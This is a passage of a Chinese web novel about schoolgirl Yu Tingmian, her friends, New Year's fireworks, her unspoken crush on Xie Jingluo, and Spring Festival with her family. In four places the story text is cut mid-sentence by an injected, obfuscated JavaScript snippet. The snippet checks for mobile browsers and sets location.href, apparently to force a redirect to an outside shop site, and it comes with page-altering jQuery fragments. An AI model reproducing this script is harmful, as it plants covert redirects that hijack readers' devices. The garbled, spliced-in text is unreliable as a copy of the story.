提着的心终于放下,于听眠低下头抿嘴偷乐。说回礼给他一直都是借口,不过是想借着这个事件送他一些能让他开心的高兴罢了。 “哟吼~我们回来啦——” 唐思雨总算是玩够了和秦长宇一起回来找两人。 “快来看看我拍的照片!” 唐思雨把照片点开凑到于听眠面前,让她帮忙看看哪张更好看,回去准备发空间。 于听眠帮她分析:“这张、这张……还有这张,这几张拍得清晰,构图也不错,至于这几张……拍得也算是张照片。” 唐思雨:“……这两张拍得丑就直说。” 于听眠:“真直说了你又不乐意……哎呀——” 唐思雨在她脑壳上轻敲了下,于听眠捂着脑袋哀嚎声无比浮夸。 另一边,秦长宇给谢惊洛看他拍的照片,本人显然对自己的杰作很是满意:“怎么样,拍得不错吧?” 谢惊洛言语委婉:“挺好的,差点没看出来这是烟花。” 秦长宇:“你懂什么,这叫风格。” 谢惊洛:“嗯,太有风格了。” 秦长宇:“……” 跨年人多,商场周边提前封了路,车辆绕道而行,马路两旁有不少摊子在卖烟花,许多人自己买了烟花在马路上放。 唐思雨看得蠢蠢欲动:“我也想放烟花,你们呢?玩不玩?” 她眯着眼睛盯着三人,虽然嘴上说的是疑问句,但眼神里颇有一种谁不玩就咬死谁的强势。 于听眠想让她不要乱吃东西,什么都吃只会害了她。 于听眠:“我要仙女棒。” 唐思雨:“好嘞~” 最后唐思雨买了一捆仙女棒、几个火轮烟花和四条手持喷射烟花。 “先试试这个?” 他们在马路上找了个空地,开始研究烟花。 于听眠对这个火轮烟花挺感兴趣的,看介绍是说点燃之后会像陀螺一样旋转起来,她看过,但没自己玩过。 唐思雨:“行啊,那就先放这个,你点还是我点。” 于听眠跃跃欲试:“我来嘿嘿~” 火线点燃,没一会儿底座就像陀螺一样旋转起来,火光喷射的范围不大,但五颜六色怪好看的。 于听眠突发奇想:“我能不能把它捏在指尖转?” 唐思雨斜睨她:“明天不活了?” 于听眠也觉得自己有病,“那还是活吧。” 两个女生负责点烟花,两个男生则被奴隶去帮忙拍照。秦长宇拍照个人风格鲜明,想要观赏得具有一定的艺术细胞,但好在谢惊洛的拍照技术还是令人信服的。 对此秦长宇表示:一个两个全都没品味。 无人在意他的谴责。 火轮烟花放完了,于听眠拆开了仙女棒,一人发了一支。 “来,一人一边画个爱心。”于听眠快速挥动着手里火花滋啦响的仙女棒在空中画了个半心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152741|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “等等,这要录个像。” 唐思雨打开手机的录像交给秦长宇,虽然他拍照路线极端,但录像总不能录出花来,这点唐思雨倒是很放心。 秦长宇点了开始,两人就一人一边一起画了个爱心。 放完一支仙女棒,唐思雨接过手机,于听眠凑过去和她一起看刚拍的内容。 唐思雨表情严肃:“你有没有觉得少了点什么?” 于听眠:“嗯,只有我们两个玩太单调了。” 唐思雨:“拉他们两个一起画爱心?” 于听眠十分赞同:“完全没问题。” 她们俩的声音完全没有压低,两个男生就站在旁边听着她们大声密谋。 谢惊洛:“……” 秦长宇:“……” 于听眠观察他们的表情,觉得有意思,眯了眯眼,笑着对唐思雨说:“可他们好像不太感兴趣呢。” 唐思雨:“你们有不同的见解吗?” 秦长宇试图挣扎:“可以有吗?” 唐思雨双手抱胸:“你觉得呢?” 秦长宇:“那我没问题了。” 谢惊洛笑言:“你们开心就好。” 四个人都要挥仙女棒,那么谁录像? 秦长宇逮了个无辜路人过来。 路人是个漂亮的姐姐,很乐意给一群俊男靓女们拍照录像,她找好角度点开相机:“等会儿我数三二一,你们就一起挥啊。” “来,三——二——一——” 空中火花四溅,出现了四个大小不一形状不同的爱心。 路人姐姐挺满意自己的作品,她将手机还给唐思雨,挽着自己的男朋友和他们道别:“都很好看,元旦快乐,祝你们玩得开心~” “谢谢姐姐,也祝你们元旦快乐。” 唐思雨欣赏了一遍录像,收起手机:“等回去我再把今天的照片录像整理好了再一起发给你们。” 于听眠:“好。” 把剩下的烟花放完,大家一起收拾干净垃圾丢进垃圾桶。 倒计时数了,年也跨了,烟花也放了,秦长宇拍拍手上的灰尘,提出了一个值得思考的问题:“好了各位,我们现在是时候该思考怎么回去了。” 现在已经是凌晨一点多了,公交车早就没了。 唐思雨:“打车?” 秦长宇:“太多人了,不知道什么时候才能轮上。” 谢惊洛面上从容不迫,从口袋里拿出了手机。 于听眠精神一放松就喜欢胡说八道:“实在不行也不是不能走回去。” 话音刚落,她就感觉到有三双眼睛同一时间看向了自己。 于听眠:“……” 她讪讪一笑:“我开……” “玩笑”俩字还没说出口,唐思雨神情明显变得兴奋:“好主意啊!我怎么没想到?” 于听眠:“……啊?” 显然不止唐思雨一个人赞同,秦长宇摩拳擦掌附和:“你别说,反正现在一点多了,和三四点也没什么区别了,反正今晚乱七八糟的东西吃得不少,走回去就当消食了。” 唐思雨听得心动:“这四舍五入就等于没吃,天啊,我这不得瘦死?” 谢惊洛倒没出声,只是删掉了编辑好的信息,把手机揣回了兜里。 于听眠:“……?” 37. 蝴蝶兰 既然于听眠能说出这句话,那心里一点想法都没有肯定是假的,头顶短暂地冒了个问号之后就愉快地加入了他们。 十几二十分钟的车程走回去真不算近,脚程快的话也要走上一个多小时,好在今晚的城市是热闹的,他们走在路上并不孤单。 天上烟火依旧轰鸣,连绵不绝响了许久也不见停歇。 回程的路边支了无数小摊,有人入座其间,一筐酒,几碟小菜,于烟火之下对酒长歌,品人生百态。 前方迎面走来两个女孩,看模样约莫只有十三四岁,手中提着一个竹篮,里头放着几束开得正艳的蝴蝶兰。 她们停在了于听眠几人面前。 “哥哥姐姐们好!”不等他们开口询问,其中一个身形高一些的女孩率先说明了来意:“我们是前面在前面的小摊卖花的,今天的花还留了几支,妈妈让我们把花随机送给路人,祝他们元旦快乐,你们愿意收下我们的花吗?” 唐思雨喜出望外:“真的可以送给我们吗?” “是的。”高一点的女孩认真点头,然后伸手从篮子里随机拿了几支蝴蝶兰给他们一人分了一支。 于听眠拿到的是白花蝴蝶兰,她看了眼其他人的,发现谢惊洛的蝴蝶兰与她相同,而唐思雨和秦长宇则是分到了红心蝴蝶兰。 “真好看!太谢谢了!也祝你们元旦快乐!” “你们也是,再见~” 蝴蝶兰花如其名,生着犹如蝴蝶翅膀般柔软脆弱的花瓣,于听眠轻抚着其中一片,小心翼翼,生怕弄碎了它。 今晚的欢喜又因与谢惊洛分得同一种颜色的花而多了几分。 一个小时多的路程想着远,可真走起来倒也不长,聊聊笑笑间就望见了公交站牌的影子。 于听眠看眼时间,已经是凌晨三点多了,这里多为居民楼,不比市区热闹,这个点早已沉寂下来,只偶尔能听见一两声远处的烟花砰砰作响。 即将要在公交站分别,他们三人还能同行一段,于听眠则要独自前往另一边。 夜已深,人们陆陆续续熄了灯陷于美梦之中,黑夜将世界吞没,唯有回家的路上路灯尚亮,柔柔照着一小片天地。 于听眠不由得感到一丝害怕,人多的时候还没什么,可一想到等会儿自己要独自走过这片黑暗,她就莫名觉得道路两旁光照不到的地方如同深不可测的黑洞,一不小心就会被藏匿于其间的怪物吞噬。 她忽然就不敢往前走了。 走了那么久唐思雨也有点累了,她打了个哈欠,脑子有些发懵地说:“今晚有点累了,大家都回去好好休息吧。” 于听眠咬了咬唇,哄了会儿自己,抬手准备和他们道别。 “你们先回去吧。” 未等她开口,谢惊洛先她一步出声,对秦长宇他们说道:“有点晚了,女孩子一个人走夜路不太安全,我送送她。” 于听眠抬头看他。 谢惊洛面色如常,语气也是波澜不惊,好似在说着一件再正常不过的小事。 出于理性思考,于听眠知道谢惊洛的这种行为源自于他自身的品性和修养,本身是没有什么特殊的含义的,换了个人他也会这么做。 可她的心脏还是不免感到一阵悸动。 “不……” 她不好意思耽误对方时间,正要拒绝,就看见唐思雨猛地一拍脑袋。 “哦!对哦!”听谢惊洛这么一说,唐思雨混沌的脑子清醒了不少:“哎呀我怎么忘了眠眠你和我们不是一个方向的,那先一起送你回去,然后我们再返回。” 啊? 这阵仗有些大,三个人一起送她回去什么的……她一个都不好意思麻烦。 她连忙摆手:“不用了不用了,其实没什么的,这里的治安还可以,路也不远就是黑了点,不用担心我的。” “那不行。”唐思雨态度强势:“你一个人走那么乌漆嘛黑的路多不安全,不差这点时间,要是我一个人走这种路,秦长宇睡了我都要打电话把他炸起来接我回去,你说是吧?” 最后一句是对秦长宇说的。 秦长宇:“……啊是是是。” 谢惊洛话不比他们多,执行力比他们强:“走吧。” “……” 唐思雨看她发愣,戳戳她:“怎么了?” “没什么。”于听眠粲然一笑,心头没过一股暖意,在寒冬里发烫,跟随血液流经四肢百骸,竟是不再畏惧这黑夜严寒。 “没什么那就走吧,再不走天要亮了。” “好。” 到了楼下,于听眠看着他们离去才上楼,想着这个时间爸爸妈妈应该已经睡了,便没有敲门,掏出提前备好的钥匙开了锁。 她轻手轻脚推开门,又慢慢关上,打开了客厅亮度最小的一盏灯,将怀里抱的奖品一股脑全放在了沙发上。 小玩意儿看着惹人喜欢,于听眠拿出手机给他们合了个影,兔子挂件摆在最前面。 她放下手机,又找了个空瓶子洗干净,装上净水,将白花蝴蝶兰放进里头,然后拿着瓶子捞起那一堆小玩意儿回了房间。 于听眠把蝴蝶兰放在房间的书桌上用作装饰,然后把兔子挂件挂在了书包上。 很合适。 她从各个角度欣赏了一番,越看是越喜欢,终于看够了她又把挂件摘了下来。 在家里挂上欣赏一下就算了,真让她挂出去她是不敢的。 2014年1月1日 天气:晴 烟火绚烂,晚天如昼。 幸而在寒冬寻得一缕幽香,也有幸能与你们在这里有一段同行。 我大概很久也不会忘记这一天。 元旦假期过后,回到了有条不紊的学习生活当中,每天家和学校两点一线,日子过得倒也快。 唐思雨吃过一次于听眠做的鸡翅后便爱上了她的手艺,时不时骚扰她让她给自己带好吃的。于听眠偶尔也会牺牲一点午休的时间弄一两个小菜带去学校,投喂唐思雨的同时也给自己改善一下伙食。 秦长宇偶尔也会和她们一起,不过她很少见谢惊洛来食堂吃饭,最近的一次还是在一个星期前,她和唐思雨吃完饭从出口离开,恰好看见谢惊洛前往饭堂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156759|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 用秦长宇的话说就是谢惊洛觉得临近上课的点人少,这时候去通常不用排队挤人,在这之前要么在教室里做题要么去操场跑步打篮球。 唐思雨问他怎么不去和谢惊洛一起,秦长宇说撑不到那时候要饿死了,再和谢惊洛去跑步他能死得更快。 唐思雨笑他,而于听眠在这之后总会找理由往操场上跑,有时和唐思雨一起,有时自己一个人。 她不动声色,什么也不做,也不靠近,只是远远看上一眼在跑道上肆意奔跑、或者在球场上挥洒汗水的少年,虽然偶尔也会扑个空。 要是唐思雨问起怎么最近总往操场上跑,她就会说一直坐在教室里腰酸背痛,难得有时间出来走走也挺好。 至于真正的原因只有她一个人清楚。 再之后就迎来了期末考试。 于听眠在本班考试,位置在最后一组最后一个,和坐在第一组第一个的谢惊洛隔了条对角线。 还是隔得很远,但至少能看见他了。 试卷分发下来,于听眠摩挲着粗糙的卷面,收了心,低头认真看卷审题。 没关系,只要再努力一点,总能再靠近他一些的。 两天的期末考很快结束,学校决定等下个学期回来再公布成绩,让大家回去过个好年,这是学校干的为数不多的人事,获得了同学们的一致好评。 但除了成绩之外,还是会有邪恶的东西阻碍他们快乐过年。 考试结束后,老梁让所有人回到教室,他一边叮嘱着寒假里的注意事项,一边让各科课代表将寒假作业分发下去。 各科作业是科任老师提前布置好的,集中到现在一起发放。 于听眠整理着一张接一张不断发到手中的卷子,整理的速度赶不上他们发的速度,没一会儿桌面就变得乱糟糟的。 “实在不想给我们放假其实可以不放的,这么多卷子和换个地方写作业有什么区别?”唐思雨收拾得烦了,先前一张还没折好,后一张就跟了上来,她干脆把对折好的卷子往桌面上一扔,冷眼看着到底能发多少。 “挑点有用的题目看着写就好啦。”于听眠将卷子一张张折好按科目分类好,方便用时寻找,手上干着活嘴上还和唐思雨讲话:“假期本来就是用来放松休息的,偶尔花些时间学习是锦上添花,平时好好学习已经够累了,如果放假了还像平常那般,那么这个假期放来也没有什么意义。” “而且……”于听眠狡黠眨眼:“我赌老师不会检查,你觉得呢?” 唐思雨思考:“言之有理,但这可是一场豪赌。” 于听眠:“那跟不跟?” 唐思雨:“跟。” “跟什么跟什么?”秦长宇闻着声儿就来了:“你们在聊些什么好玩的?” 唐思雨给他解释:“也没什么,就是作业太多了,写不完,我们打算挑点有用的题写写算了,然后赌老师不会检查。” “啊?”秦长宇震惊:“原来你们打算写的吗?” 唐思雨:“……” 于听眠:“……” 原来你不打算写的吗?! 38. 有趣的事 于听眠啧啧称奇:“我以为我们够嚣张的了,原来还有高手,可真是人外有人天外有天啊。” 唐思雨连连点头:“是啊是啊,果然还是我们太过狭隘了,唉——” “……”秦长宇被她俩阴阳怪气的语气弄得哭笑不得:“都什么跟什么啊?你俩一张试卷挑两道题写和没做也没什么区别好吧?你说是吧洛哥?” 莫名其妙被卷入战局的谢惊洛:“我持保留意见。” “持保留意见?!”秦长宇不可思议:“你这个连卷子都不打算带一张回去的家伙和我说持保留意见?!” 谢惊洛督他一眼:“有问题吗?” 秦长宇:“没有。” 于听眠看得乐死了。 收拾好卷子,把桌面上不好落灰的东西放进桌肚,所有工作做完就可以离开了。 他们在校门口分别。 于听眠向他们挥手:“再见——下学期见——” 唐思雨:“拜拜——下学期见——” 秦长宇:“拜~一个月后见。” 于听眠目光落在谢惊洛身上,见他面上带着一贯的微笑,言简意赅地回她:“再见。” 是再普通不过的一个回复。 于听眠有点失望。 除夕夜的前一个星期,于听眠坐着于新鹤驾驶的车回了南城。 他们家有个传统,每当过年要提早几天回来打扫屋子,而且最好是家里人亲自打扫,非必要不请人帮忙,说是一家人忙忙碌碌把一整年的尘埃打扫干净,过年的时候就能一起迎接来年的好运。 回来的路上隐隐有了堵车的趋势,比预计到达的时间晚了些,于听眠下车时看见姑姑姑父的车已经停在门口了。 老太太听见动静,从屋里出来,于听眠敏锐地察觉老太太的腿脚比三个月前还要慢了些,走两步就会稍稍滞一下。 “回来了……咳咳!” 话还未说完,老太太忽而掩嘴重重咳嗽起来,一开始就停不下来,每咳一下都好像要接不上气,许久才能缓过来。 “奶奶!” 于听眠和付向晓连忙上前扶着她。 付向晓带着她往屋里走:“妈,您身体抱恙就不用出来接了,要多休息,身体重要。” 老人家摇头,抬手轻轻将紧紧搀扶着自己的两人推开了点,她笑着,眼角遮掩不住的细纹皱在一起:“好啦好啦,就是这天冷,受了点凉,已经吃过药了没什么的,你们也不用把我想的那么脆弱。” 老太太虽这么说,但于听眠还是不放心,要扶着她回屋,见此老太太也不再说什么。 姑姑和姑父出了门,只有徐知乐在楼上打扫自己的房间,听见楼下的响动就拿着扫把从楼梯口窜了下来。 他乖乖叫人:“舅舅舅妈好。” 于新鹤赞叹:“才三个月不见乐乐又长高了不少啊,这青春期的小孩子长得就是快,像田里的稻穗,风一吹就疯狂生长。” 付向晓附和:“可不是吗,乐乐这年纪正是长身体的时候,一天一个样。” 徐知乐被他们说得有些不好意思,赧然挠挠头,决定给自己找点事干让自己看起来很忙。 他伸手要接过于新鹤手里提着的东西:“舅舅舅妈,这些东西我帮你们拿去放好吧。” “也好。”于新鹤把东西给他,顺带叮嘱:“有点沉,行不行啊小伙子。” 十四五岁正是热血方刚的年纪,徐知乐哪能说不行,他当即就接住于新鹤递给他的东西:“舅舅你放心唔——好了……” 好像是有点沉啊。 徐知乐面无表情:“就这点东西小意思。” 他提着东西往里走,路过于听眠时两人的视线对视。 于听眠挑眉。 徐知乐做了个口型,无声道:“姐,帮我提点……” “哼嗯~” 于听眠读懂了唇语,哼笑一声,伸手接了点东西过来:“爸爸,我帮他一起提进去。” “好,去吧。” “回来多久了?”于听眠放下东西,问他。 徐知乐:“也就早你们一天,昨天回的。” 于听眠“哦”了一声,从一旁的柜子上拿了一罐易拉罐汽水,单手抵着环扣打开,趁着气足喝了一口。 哇—— 不好喝。 不冰完全没感觉。 她蹙了蹙眉不太满意,将汽水放到一旁,冰箱有冰的她没敢喝,喝了要被老太太数落一下午。 于听眠眼珠子一转,想到好玩的,笑着问:“期末考得怎么样啊?” “……”徐知乐苦着脸:“姐,你年纪轻轻怎么也开始问这种问题了?误入歧途啊。” “那行。”于听眠颔首,从歧途出来,进了一个新的歧途:“作业写完了吗?” 徐知乐:“……一点没动。” 于听眠:“带回来写了?” 徐知乐:“没有。” 于听眠知道他不爱学习,并不意外:“过完年没几天又要回学校了,你回去写得完吗?” 徐知乐:“小问题,一支笔,一个晚上,一具尸体,一个奇迹。” 于听眠:“……” “难道你写完了?”徐知乐不相信有人能在年前写完作业。 “当然。”于听眠面不改色。 徐知乐刚要说不信,但看于听眠坦然的模样,犹豫了一会儿还是信了,他不想聊这种伤心事,连忙转移话题:“不说这个了,现在说也没用……对了姐,你知道云庙不?” “云庙?” “就云山那个。” 于听眠想起了三个月前老人家给的那枚符,现在还在她的书包夹层放着。 “那个啊,知道啊,怎么了?” 徐知乐嘿嘿一笑:“大年初二我们去拜拜呗?” 于听眠:“你怎么忽然想去庙里拜拜了?” 徐知乐:“我觉得我不喜欢学习这件事太奇怪了,去庙里走一圈看看能不能改命。” 于听眠:“……我觉得这不是去庙里走一圈就能解决的问题。” “哎呀试试嘛。”徐知乐推着她往外面走,低声道:“不找个理由出门,到时候一堆亲戚来问我成绩,想想就烦。” “所以这个才是重点是吧。” “别管。” 过年的准备工作实着不少,打扫房子就用了三天时间,将里里外外都清理了一遍,之后就是去商场采买年货或是准备年夜饭的菜品。 忙忙碌碌的几天过去,终于迎来了除夕。 除夕夜当晚家家户户灯火通明,菜肴的香气在空气中飘荡,欢声笑语连绵不息,烟花和爆竹声响彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171268|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天际。 年夜饭是爸爸和姑父掌勺,味道获得了众人的一致好评。 吃过饭,小孩子们去洗碗,大人则去挂灯笼、贴对联、准备零点时分要放的鞭炮。 于听眠在徐知乐被冷水冻得嗷嗷叫的噪音里洗完了碗,一下子没事干就闲了下来。 电视里放着春晚,老太太看得津津有味,于听眠陪着她看,只是不怎么感兴趣,偶尔看两眼应和几句。 徐知乐早就坐不住不知道跑哪儿撒野去了,于听眠没了消遣的东西,就拿出手机看看有没有人给她发信息,顺便提前编辑一下零点要发的祝福。 过年给谢惊洛发个祝福……这种行为应该……挺正常的吧? 不对。 于听眠敲了一下自己的脑袋。 有什么好顾虑的,平时找不到理由不敢给他发信息就算了,过年发个祝福这种正常到不行的行为有什么好顾虑的? 一年就这么一次名正言顺的机会。 于听眠骂醒了脑子不清醒的自己,开始紧张地在列表里找寻谢惊洛的名字。 然后她发现了一个有趣的事—— 她根本就没有谢惊洛的联系方式。 …… 哦豁。 行了,现在不紧张了,也没有顾虑了。 于听眠指尖停留在屏幕上,忽然不知道自己要干什么。 她将手机息屏扔在一旁,抬头看向电视,此时播放的节目是一个喜庆的舞蹈,舞蹈演员的舞姿翩翩,脸上洋溢着欢乐的笑容,于听眠看着流光溢彩的画面,眸中有些失神。 好吧。 她不仅不敢给谢惊洛发信息,她连人家的联系方式都没敢加。 于听眠蓦然想起,好像为数不多的几次和谢惊洛一起出门,都是唐思雨或秦长宇组的局,倘若没有他们俩,她大概连和谢惊洛说话的契机都不会有。 “眠丫头?” “……嗯?”听到老太太的声音,于听眠的瞳孔重新聚焦:“怎么了奶奶?” “在想什么呢?你好像有心事。”老太太握住她一只微凉的手,柔声问她。 “哪有啊,大过年的除了吃喝玩乐,我还有什么好想的?”于听眠轻拍她握着自己的手,看着电视上的节目已经切换到了煽情小品:“这小品好看,看入迷了,您也看。” 老太太没再追问她。 将近零点,外面要点炮了。于听眠扶着老太太出了门,门前的一片空地上已经摆好了要被点燃的爆竹,徐知乐野够了回来,手里拿着打火机按耐不住想点炮,姑姑在旁边按住他让他不要着急。 怕老人家被飞溅的爆竹误伤,于听眠找了个安全地带,带着她离远了些。 “到点了,乐乐点炮——” “好嘞——” 火焰触上引火线,线条滋啦滋啦缩短,徐知乐趁着这点时间瞬移逃开,以免被炸。 啪啦啪啦啪啦———— 第一个爆竹炸开,后面的爆竹接连而上,烟雾瞬间弥漫了整片空地,雾中噼里啪啦的火光若隐若现。 于听眠在烟雾里卡点给唐思雨苏然等人发了新年祝福。 还有一条比较特殊,存在了备忘录里。 愿你去岁千般皆如意,今年万事定称心。新春嘉平,长乐未央。 ——未能送出的祝福。 39. 三盏莲灯 大年初二,于听眠和徐知乐乘车来到云山脚下。 云庙建在山腰,上山有台阶,两人花了点时间爬了上去。 云庙幽寂,晨钟暮鼓;香火缥缈,馨香缭绕;诵声不断,梵音不绝。 两人随着小师父从旁门而入,抬脚跨过门槛,正式进入庙中。 于听眠请了三支清香,在烛前点燃,抬手轻轻扇灭余留的火焰,双手拿香举至眉心,三次鞠躬作礼,许下三愿,而后将香依照中左右的顺序依次插入香炉。 一根礼敬佛,二根礼敬法,三根礼敬僧。 香入香炉后便是进殿拜佛,于听眠在佛前合掌虔诚礼拜。 礼毕,二人走出云庙,有位小师父上前来询问是否要请盏莲灯。 “莲灯是用来做什么的?”于听眠不太懂这个,虚心询问。 小师父双手合掌,道:“莲灯载愿,置于莲河逐流,方可心想事成。” “莲河在哪里?” “台阶往右。” 庙前上山的台阶分了三个岔口,方才两人是从中间那条台阶上山,于听眠朝右边的台阶看去,正有不少人拿着莲灯。 “姐,你请灯吗?”徐知乐问。 “请。”于听眠答。 虽然莲灯九十九一盏,但来都来了,就当体验一番。 方才庙里于听眠许了三愿,此时就请了三盏莲灯。 她和徐知乐捧着莲灯调转脚步,向右边的台阶走去,与从正阶上来的某个身影擦肩而过。 “小洛啊,一会儿进了庙里,点了香,要记得许愿啊。” 身着旗袍,行为举止雍容华贵的老人家叮嘱着身旁搀扶着她的少年。 “知道了奶奶。”谢惊洛属实无奈:“您都叮嘱我一路了。” 南黎轻拧了下他的手背,笑骂他:“还不是因为你之前说你没什么愿望,净会瞎说,怎么会没有愿望呢?求平安、求财运、求姻缘,人生在世总有所求的。” 说着,南黎又叹了口气:“实在无所求就当静心了,回去你和你爸的事……也别和他置气了,不理他就是了,想做的事按照你自己的想法来就好。” 闻言,谢惊洛面上的笑意淡了些,却没让老人家察觉。 “好。” 沿着台阶走到底,再往前走一段就能见莲河。 莲河边上行人如云,河面上数朵莲灯来回飘荡随波逐流,河水清澈见底,细看能见一两条鱼儿皆若空游无所依。 于听眠和徐知乐寻了个人少的地,都没带打火机,就借了路人的火点燃莲心,而后将燃起的莲灯放入河中。 三盏有三愿。 一愿家人朋友身体健康,平安顺遂。 二愿自己学业进步,心想事成。 三愿中意之人前程似锦,扶摇直上。 春节的这几天假期,于听眠除了跟着于新鹤付向晓他们走亲访戚,剩余的时间便对着一张画了绚烂烟火的画作修修改改。 期末考试的那段时间有些忙,答应给谢惊洛的烟花一直没能画完,如今有时间了于听眠就加快了进程,争取能在开学时给他。 笃笃—— 房门被人敲响。 徐知乐的声音从门外传来:“姐,你在吗?” 于听眠头也不抬:“不在。” 徐知乐:“……我进来了。” 于听眠:“嗯。” 徐知乐推开门进来拿走他要的东西,看见于听眠端坐在桌前写写画画,就好奇地偷摸至她身后,伸长了脖子,暗中观察她在干什么。 感觉到一片阴影打下来的于听眠:“……干什么?” 被抓包的徐知乐没脸没皮地笑:“姐你在干什么啊?” 于听眠言简意赅:“画画。” 徐知乐好奇心强盛:“你画烟花做什么?” 于听眠撇了他一眼:“小孩子不要问那么多。” 徐知乐:“哦。” 她绝对有不可告人的秘密! 但再问下去容易被打,徐知乐识趣地换了个话题:“姐你很快就高三了吧?” “嗯,怎么了?” “你有想过你以后要做什么工作吗?” 做什么工作? 于听眠好好地思考了一下这个问题。 然后她发现自己并没有什么特别想做的工作。没有特别喜欢的,也没有特别讨厌的,做什么好像都行。 “做什么都可以吧,也没有特别想做的……你问这个干什么?” 于听眠可不觉得这小子是单纯过来找自己谈理想的。 事出反常必有妖。 既然被看穿了,那徐知乐也不演了,他语气满怀期待地说:“姐你觉得、就是那什么……你觉得我去当偶像怎么样?” 于听眠:“……?” 于听眠怀疑自己听错了:“什么东西?” 徐知乐语气激动重复道:“我说我想去当偶像。” “……” 嗯……那什么,于听眠对偶像这个职业没意见,她对所有职业一视同仁,她只是纯粹地针对个人—— “就你那……唱歌五音不全的嗓子和跳舞同手同脚的身子?还是我理解错了,你说的是喜剧类的偶像?” 于听眠认真发出疑问。 徐知乐:“……姐你嘴是抹了砒霜吗?” 于听眠摊手:“只是一些小小的疑问。” 哗啦—— 有一个小小的偶像梦破碎了。 2014年2月5日 天气:多云 今天画画的时候乐乐来问我以后想要做什么。 这个问题可真是问到我了。 一直以来只想着学习提高成绩,但要说以后要做什么还真没想过,可真仔细思考起来又发现自己确实没什么太感兴趣的工作,现在我为数不多的兴趣爱好无非就是看看小说、写写文章再画一下画,和长辈们希望的工作内容几乎没关系。 ε=(′ο`*)))唉。 好难想。 先不想了,当务之急还是先提高我那惨不忍睹的数学成绩吧,眼下什么都是虚的,只有考试成绩最实在。 至于乐乐的理想…… 希望他和姑姑说了不会挨打。 短暂的假期同流水一同流逝,又该到了分别的时候。 老太太的身体比以往更差了,回去的前一天于新鹤再一次提出带她回去照顾的想法,结果又一次被拒绝了。 老人家说:“我一个人在这里待得也清净,你们夫妻俩要上班,眠丫头又要上学,你们都有自己的事情做,哪有时间照顾我啊?我去了也是添乱,而且你找的那个阿姨也把我照顾得挺好的,平时还能陪我聊聊天,比你们那边自在。” 于新鹤终究还是妥协了,老人家想留在这儿,他也不能强行把人带走,最后只好嘱咐她:“那有事一定要给我们打电话。” 老太太笑着点头:“知道了,你们回去安心工作吧,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182573|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦念我。” 假期结束了,放假前的豪赌也是时候开盘了。 正式开学的前一个晚上要回校上晚自习,很多人提早过来打扫自己的座位,在忙碌的世界里,安静坐着对视的两个人就显得格格不入。 “咳咳——” 于听眠的手缩在书包里,手里紧捏着一沓厚厚的试卷,她清咳两声,眼神上下打量着对面的女人,语气凝重地开口:“我们之间……应该不会有人背叛组织吧?” 唐思雨丝毫不见心虚,直视她探究的眼神:“有没有人背叛,看一下不就知道了?” 于听眠:“那我数到一,一起拿出来。” 唐思雨:“好啊。” 于听眠:“三——一——” 唐思雨:“等等二呢?” 于听眠:“被我吃掉了嘻嘻。” 两沓卷面微脏的试卷被铺在桌子上,无人背叛组织。 啪! 两人不约而同抬手击掌,为彼此的坚守感到欣慰。 于听眠无比感动地握着她的手,认真地疑惑道:“明明是我们不写作业,为什么能整得像地下党汇合了那般热血?” 唐思雨也感动摇头:“我不知道啊。” 于听眠瞬间变脸,神情冷漠地撒开她的手:“要你何用?” 咚—— 脑壳不负众望挨了一下。 唐思雨打完人,若无其事继续说:“很好,现在就看晚自习课代表们收不收作业了,你说是吧?” 于听眠不想回答她,发出奇怪的声音:“嘤。” 晚自习课代表没来得及收,广播通知把所有人叫下去开会了。 自从有了晚自习,学校领导就总是有事没事叫他们下去开会,时间久了同学们怨气连连。 “刚回来就要开会,有这时间还不如给我补作业呢。” “就是就是。” “你作业也没写完?” “那沓卷子比我棺材板厚,能写完就怪了。” “哎嘿,我焦虑了一个寒假,你猜怎么着?到最后也是一个字没动,我等死啦哈哈哈哈哈——” “疑似有人被作业逼疯了。” “救一下还能继续学。” 同学们在一片叽叽喳喳的吐槽声中排好队,年级主任对着话筒连喊了两声“安静”,终于让台下的躁动平息下来。 